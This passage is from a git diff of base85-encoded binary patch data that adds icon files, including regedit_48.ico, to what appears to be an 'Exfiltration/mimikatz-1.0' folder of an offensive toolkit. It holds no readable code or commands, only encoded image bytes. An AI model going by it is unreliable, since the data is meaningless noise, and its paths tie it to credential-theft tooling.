zqKFkuiXR(B()a_UOpfB*!~-OL{{Xyi?)@m}>JT)^<=npwd%+EdLc$h@4e>yKg*Bz1QQZAye@fnwydS7yj8llw7P2f3(QP?g)v4Tf*4DFV=!ir7^G>6 xp^%s~NK)8Pi0sYy4+&(KcylnwFvm{}{1*n#NE-kE literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico new file mode 100644 index 0000000000000000000000000000000000000000..6d7f787b5020cbadd0e0b2748be6f13d48b77338 GIT binary patch literal 9662 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 